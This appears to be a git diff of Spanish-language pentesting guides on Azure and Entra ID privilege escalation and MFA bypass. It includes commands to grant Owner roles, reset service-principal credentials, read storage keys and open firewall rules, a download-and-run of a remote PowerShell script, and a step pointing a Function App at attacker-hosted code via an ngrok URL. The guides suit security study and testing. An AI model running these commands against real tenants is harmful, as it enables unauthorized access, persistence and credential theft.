### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
Con este permiso, puedes modificar las políticas de conexión de un servidor SQL de Azure. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor.
Con este permiso, puedes modificar las políticas de conexión de un Azure SQL Server. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor.
```bash
az sql server connection-policy update \
--server <server_name> \

View File

@@ -16,7 +16,7 @@ Las aplicaciones de VM pueden ser compartidas con otras suscripciones y inquilin
### Información sensible en imágenes
Podría ser posible encontrar **información sensible dentro de imágenes** tomadas de VMs en el pasado.
Puede ser posible encontrar **información sensible dentro de imágenes** tomadas de VMs en el pasado.
1. **Listar imágenes** de galerías
```bash
@@ -121,7 +121,7 @@ sudo mount /dev/sdX1 /mnt/mydisk
### Información sensible en discos y instantáneas
Puede ser posible encontrar **información sensible dentro de discos o incluso instantáneas de discos antiguos**.
Puede ser posible encontrar **información sensible dentro de discos o incluso en instantáneas de discos antiguos**.
1. **Listar instantáneas**
```bash
@@ -148,7 +148,7 @@ Puede ser posible encontrar **información sensible dentro de extensiones de VM
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
2. Instalar la extensión en una VM y **buscar información sensible**
2. Instala la extensión en una VM y **busca información sensible**
```bash
az vm application set \
--resource-group <rsc-group> \

View File

@@ -19,7 +19,7 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
```
### Microsoft.Authorization/roleDefinitions/Write
Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que ha asignado.
Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que se le ha asignado.
Crea el archivo `role.json` con el siguiente **contenido**:
```json

View File

@@ -67,7 +67,7 @@ az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Al agregarse a sí mismos como propietarios, un atacante puede manipular la aplicación, incluidas las credenciales y permisos.
Al agregarse a sí mismos como propietarios, un atacante puede manipular la aplicación, incluidas las credenciales y los permisos.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -98,7 +98,7 @@ az ad sp credential reset --id <sp-id> --append
> La nueva contraseña generada no aparecerá en la consola web, por lo que esto podría ser una forma sigilosa de mantener la persistencia sobre un servicio principal.\
> Desde la API se pueden encontrar con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Si obtienes el error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` es porque **no es posible modificar la propiedad passwordCredentials** del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (`microsoft.directory/applications/allProperties/update`) que te permita ejecutar:
Si obtienes el error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` es porque **no es posible modificar la propiedad passwordCredentials** del SP y primero necesitas desbloquearlo. Para ello necesitas un permiso (`microsoft.directory/applications/allProperties/update`) que te permita ejecutar:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
@@ -110,7 +110,7 @@ az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Similar a las aplicaciones, este permiso permite agregar más propietarios a un principal de servicio. Ser propietario de un principal de servicio permite el control sobre sus credenciales y permisos.
Similar a las aplicaciones, este permiso permite agregar más propietarios a un principal de servicio. Ser propietario de un principal de servicio permite controlar sus credenciales y permisos.
```bash
# Add new owner
spId="<spId>"
@@ -128,7 +128,7 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Después de agregar un nuevo propietario, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, incluso si es el método que necesitas usar para eliminar al propietario. Así que **no puedes eliminar propietarios en la actualidad**.
> Después de agregar un nuevo propietario, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, incluso si es el método que necesitas usar para eliminar al propietario. Así que **no puedes eliminar propietarios hoy en día**.
### `microsoft.directory/servicePrincipals/disable` y `enable`
@@ -178,7 +178,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/owners/update`
Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente puede escalar privilegios al grupo.
Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que puede llevar a una escalada de privilegios en el grupo.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -204,7 +204,7 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Nota**: Este permiso excluye los grupos asignables por rol de Entra ID.
**Nota**: Este permiso excluye los grupos asignables de roles de Entra ID.
### Privesc de Grupos Dinámicos
@@ -240,9 +240,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Políticas de acceso condicional y bypass de MFA
## Políticas de Acceso Condicional y bypass de MFA
Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser eludidas, verifica:
Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser eludidas, consulta:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -300,7 +300,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Otras permisos interesantes (TODO)
## Otros permisos interesantes (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`

View File

@@ -23,30 +23,30 @@ También es necesario configurar las **condiciones** que **activarán** la polí
- **Red**: IP, rangos de IP y ubicaciones geográficas
- Puede ser eludida usando una VPN o Proxy para conectarse a un país o logrando iniciar sesión desde una dirección IP permitida
- **Riesgos de Microsoft**: Riesgo del usuario, riesgo de inicio de sesión, riesgo interno
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows Phone, Windows, macOS, Linux
- Si “Cualquier dispositivo” no está seleccionado pero todas las otras opciones están seleccionadas, es posible eludirlo usando un user-agent aleatorio no relacionado con esas plataformas
- **Aplicaciones cliente**: Las opciones son “Navegador”, “Aplicaciones móviles y clientes de escritorio”, “Clientes de Exchange ActiveSync” y “Otros clientes”
- Para eludir el inicio de sesión con una opción no seleccionada
- **Filtro para dispositivos**: Es posible generar una regla relacionada con el dispositivo utilizado
- **Flujos de autenticación**: Las opciones son “Flujo de código de dispositivo” y “Transferencia de autenticación”
- Esto no afectará a un atacante a menos que esté tratando de abusar de cualquiera de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
- Esto no afectará a un atacante a menos que esté tratando de abusar de alguno de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme…
### Plataformas de Dispositivos - Condición del Dispositivo
### Plataformas de Dispositivos - Condición de Dispositivo
Es posible establecer una condición basada en la **plataforma del dispositivo** (Android, iOS, Windows, macOS...), sin embargo, esto se basa en el **user-agent** por lo que es fácil de eludir. Incluso **haciendo que todas las opciones exijan MFA**, si usas un **user-agent que no es reconocido,** podrás eludir el MFA o el bloqueo:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
Puedes cambiar el user agent **manualmente** en las herramientas de desarrollo:
Puedes cambiar el user-agent **manualmente** en las herramientas de desarrollo:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Ubicaciones: Países, rangos de IP - Condición del Dispositivo
### Ubicaciones: Países, rangos de IP - Condición de Dispositivo
Si esto está configurado en la política condicional, un atacante podría simplemente usar una **VPN** en el **país permitido** o intentar encontrar una manera de acceder desde una **dirección IP permitida** para eludir estas condiciones.
@@ -69,7 +69,7 @@ Además, también es posible proteger el método de inicio de sesión (por ejemp
La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también podría usarse para propósitos similares, aunque parece no estar mantenida.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede utilizar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva de **caja blanca**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
## Otras elusiones de Az MFA
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo estén configuradas las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo se configuren las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Porque el **portal** de **Azure** **no está restringido**, es posible **recolectar un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
Debido a que el **portal** de **Azure** **no está restringido**, es posible **obtener un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

View File

@@ -4,24 +4,24 @@
## Información Básica
**Dynamic groups** son grupos que tienen un conjunto de **reglas** configuradas y todos los **usuarios o dispositivos** que coinciden con las reglas se añaden al grupo. Cada vez que se **cambia** un **atributo** de un usuario o dispositivo, las reglas dinámicas se **vuelven a verificar**. Y cuando se **crea** una **nueva regla**, todos los dispositivos y usuarios son **verificados**.
**Dynamic groups** son grupos que tienen un conjunto de **rules** configuradas y todos los **users o devices** que coinciden con las reglas son añadidos al grupo. Cada vez que se **cambia** un **attribute** de un usuario o dispositivo, las reglas dinámicas son **rechecadas**. Y cuando se **crea** una **new rule**, todos los dispositivos y usuarios son **verificados**.
Los grupos dinámicos pueden tener **roles de Azure RBAC asignados** a ellos, pero **no es posible** añadir **roles de AzureAD** a grupos dinámicos.
Los grupos dinámicos pueden tener **Azure RBAC roles asignados** a ellos, pero **no es posible** añadir **AzureAD roles** a grupos dinámicos.
Esta función requiere una licencia de Azure AD premium P1.
## Privesc
Tenga en cuenta que, por defecto, cualquier usuario puede invitar a invitados en Azure AD, así que, si una **regla** de grupo dinámico otorga **permisos** a los usuarios en función de **atributos** que pueden ser **establecidos** en un nuevo **invitado**, es posible **crear un invitado** con estos atributos y **escalar privilegios**. También es posible que un invitado gestione su propio perfil y cambie estos atributos.
Ten en cuenta que por defecto cualquier usuario puede invitar a invitados en Azure AD, así que, si una **rule** de grupo dinámico otorga **permissions** a los usuarios basándose en **attributes** que pueden ser **establecidos** en un nuevo **guest**, es posible **crear un guest** con estos atributos y **escalar privilegios**. También es posible que un guest gestione su propio perfil y cambie estos atributos.
Obtenga grupos que permiten membresía dinámica: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
Obtén grupos que permiten membresía dinámica: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
### Ejemplo
- **Ejemplo de regla**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Descripción de la regla**: Cualquier usuario invitado con un correo electrónico secundario que contenga la cadena 'security' será añadido al grupo
- **Descripción de la regla**: Cualquier usuario Guest con un correo electrónico secundario que contenga la cadena 'security' será añadido al grupo
Para el correo electrónico del usuario invitado, acepte la invitación y verifique la configuración actual de **ese usuario** en [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Para el correo electrónico del usuario Guest, acepta la invitación y verifica la configuración actual de **ese usuario** en [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Desafortunadamente, la página no permite modificar los valores de los atributos, así que necesitamos usar la API:
```powershell
# Login with the gust user

View File

@@ -18,7 +18,7 @@ Una vez que encuentres dónde se encuentra el código de la función, si tienes
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, permitiendo escalar privilegios a las identidades administradas adjuntas a la Función.
El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, lo que permite escalar privilegios a las identidades administradas adjuntas a la Función.
Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de&#x20;
```bash
@@ -26,12 +26,12 @@ az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esas configuraciones contendrán la **Storage Account Key** que la Función puede usar para acceder al código.
Esas configuraciones contendrán la **Clave de la Cuenta de Almacenamiento** que la Función puede usar para acceder al código.
> [!CAUTION]
> Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Función y escalar privilegios.
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda consultar también la siguiente página para obtener más información sobre file shares:
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para obtener más información sobre file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,22 +47,22 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor de la Cuenta de Almacenamiento que la aplicación de funciones está utilizando en un contenedor **generalmente llamado `function-releases`**.
También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor de la Cuenta de Almacenamiento que la aplicación de función está utilizando en un contenedor **generalmente llamado `function-releases`**.
Normalmente, este método de implementación configurará el `WEBSITE_RUN_FROM_PACKAGE` en:
Normalmente, este método de despliegue configurará el `WEBSITE_RUN_FROM_PACKAGE` en:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento.
Esta configuración generalmente contendrá una **SAS URL para descargar** el código de la Cuenta de Almacenamiento.
> [!CAUTION]
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip** es posible ejecutar código arbitrario en la Función y escalar privilegios.
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip**, es posible ejecutar código arbitrario en la Función y escalar privilegios.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
También es posible encontrar las **claves maestra y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar dentro.
> [!CAUTION]
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en un archivo con extensión zip** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Función y escalar privilegios.
> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en un archivo con extensión zip** (que en realidad es un **`squashfs`**), es posible ejecutar código arbitrario en la Función y escalar privilegios.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -187,13 +187,13 @@ Estos permisos permiten listar los valores de configuración de una función com
Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip de URL que contenga el nuevo código para ejecutar dentro de una aplicación web:
- Comience obteniendo la configuración actual
- Comienza obteniendo la configuración actual
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Crea el código que deseas que la función ejecute y hospédalo públicamente
- Crea el código que deseas que la función ejecute y hospédalo públicamente.
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -205,7 +205,7 @@ ngrok http 8000
```
- Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código.
El siguiente es un ejemplo de **mis propios ajustes, necesitarás cambiar los valores por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la aplicación.
El siguiente es un ejemplo de **mis propios ajustes que necesitarás cambiar los valores por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la aplicación.
```bash
# Modify the function
az rest --method PUT \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Método SCM**
Luego, puedes acceder con estas **credenciales de autenticación básica a la URL SCM** de tu aplicación de funciones y obtener los valores de las variables de entorno:
Luego, puedes acceder con estas **credenciales de autenticación básica a la URL de SCM** de tu aplicación de funciones y obtener los valores de las variables de entorno:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,15 +275,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Note que el **nombre de usuario SCM** suele ser el carácter "$" seguido del nombre de la aplicación, así que: `$<app-name>`._
_Tenga en cuenta que el **nombre de usuario SCM** suele ser el carácter "$" seguido del nombre de la aplicación, así que: `$<app-name>`._
También puedes acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
También puede acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Los valores de configuración contienen la **AccountKey** de la cuenta de almacenamiento que almacena los datos de la aplicación de función, lo que permite controlar esa cuenta de almacenamiento.
- **Método FTP**
Conéctate al servidor FTP usando:
Conéctese al servidor FTP usando:
```bash
# macOS install lftp
brew install lftp
@@ -297,11 +297,11 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note que el **nombre de usuario FTP** suele estar en el formato \<app-name>\\$\<app-name>._
_Tenga en cuenta que el **nombre de usuario FTP** suele estar en el formato \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
Según [**la documentación**](https://github.com/projectkudu/kudu/wiki/REST-API#command), este permiso permite **ejecutar comandos dentro del servidor SCM** que podrían usarse para modificar el código fuente de la aplicación:
Según [**la documentación**](https://github.com/projectkudu/kudu/wiki/REST-API#command), este permiso permite **ejecutar comandos dentro del servidor SCM**, lo que podría usarse para modificar el código fuente de la aplicación:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
@@ -344,7 +344,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/res
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute.
Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de azure maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -361,7 +361,7 @@ az functionapp identity assign \
```
### Depuración Remota
También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables.
También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador olvide evitar dejar configuraciones vulnerables.
Es posible verificar si una función tiene la depuración habilitada con:
```bash
@@ -373,8 +373,8 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
```
### Cambiar el repositorio de Github
Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero aunque sí cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\
Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, así que parece que esto no es muy útil.
Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero aunque se cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la Acción de Github actualice el código).\
Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, por lo que parece que esto no es muy útil.
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -12,7 +12,7 @@ Para más información, consulta:
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
Un atacante con este permiso puede ver mensajes de una Azure Storage Queue. Esto permite al atacante ver el contenido de los mensajes sin marcarlos como procesados o alterar su estado. Esto podría llevar a un acceso no autorizado a información sensible, permitiendo la exfiltración de datos o la recopilación de inteligencia para futuros ataques.
Un atacante con este permiso puede ver mensajes de una Azure Storage Queue. Esto permite al atacante ver el contenido de los mensajes sin marcarlos como procesados o alterar su estado. Esto podría llevar a un acceso no autorizado a información sensible, permitiendo la exfiltración de datos o la recopilación de inteligencia para ataques posteriores.
```bash
az storage message peek --queue-name <queue_name> --account-name <storage_account>
```
@@ -26,7 +26,7 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
Con este permiso, un atacante puede agregar nuevos mensajes a una Cola de Almacenamiento de Azure. Esto les permite inyectar datos maliciosos o no autorizados en la cola, lo que podría desencadenar acciones no deseadas o interrumpir servicios posteriores que procesan los mensajes.
Con este permiso, un atacante puede agregar nuevos mensajes a una Azure Storage Queue. Esto les permite inyectar datos maliciosos o no autorizados en la cola, lo que podría desencadenar acciones no intencionadas o interrumpir servicios posteriores que procesan los mensajes.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
```

View File

@@ -12,7 +12,7 @@ Para más información, consulta:
### Enviar Mensajes. Acción: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar a usuarios válidos o inyectar datos maliciosos en el flujo de trabajo de mensajería.
Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de mensajería.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -129,7 +129,7 @@ print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, lo que puede eludir los controles de acceso basados en roles (RBAC).
Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, potencialmente eludiendo los controles de acceso basados en roles (RBAC).
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \

View File

@@ -28,7 +28,7 @@ az sql server create \
--admin-user <admin_username> \
--admin-password <admin_password>
```
Además, es necesario tener el acceso público habilitado si deseas acceder desde un punto final no privado, para habilitarlo:
Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo:
```bash
az sql server update \
--name <server-name> \
@@ -37,7 +37,7 @@ az sql server update \
```
### "Microsoft.Sql/servers/firewallRules/write"
Un atacante puede manipular las reglas del firewall en los servidores de Azure SQL para permitir el acceso no autorizado. Esto puede ser explotado para abrir el servidor a direcciones IP específicas o rangos completos de IP, incluidas IPs públicas, lo que permite el acceso a actores maliciosos. Esta actividad de post-explotación puede ser utilizada para eludir los controles de seguridad de red existentes, establecer persistencia o facilitar el movimiento lateral dentro del entorno al exponer recursos sensibles.
Un atacante puede manipular las reglas del firewall en los servidores de Azure SQL para permitir el acceso no autorizado. Esto puede ser explotado para abrir el servidor a direcciones IP específicas o rangos de IP completos, incluidas IPs públicas, lo que permite el acceso a actores maliciosos. Esta actividad de post-explotación puede ser utilizada para eludir los controles de seguridad de red existentes, establecer persistencia o facilitar el movimiento lateral dentro del entorno al exponer recursos sensibles.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -74,7 +74,7 @@ NOTA: Es necesario tener habilitado el acceso público.
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
Con estos permisos puedes hacer privesc en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL:
Con estos permisos puedes privesc en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -84,7 +84,7 @@ az sql server ad-admin create \
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
Con estos permisos, puedes configurar y hacer cumplir "Microsoft Entra Authentication Only" en un servidor SQL de Azure, lo que podría facilitar la escalada de privilegios en ciertos escenarios. Un atacante o un usuario autorizado con estos permisos puede habilitar o deshabilitar la autenticación solo de Azure AD.
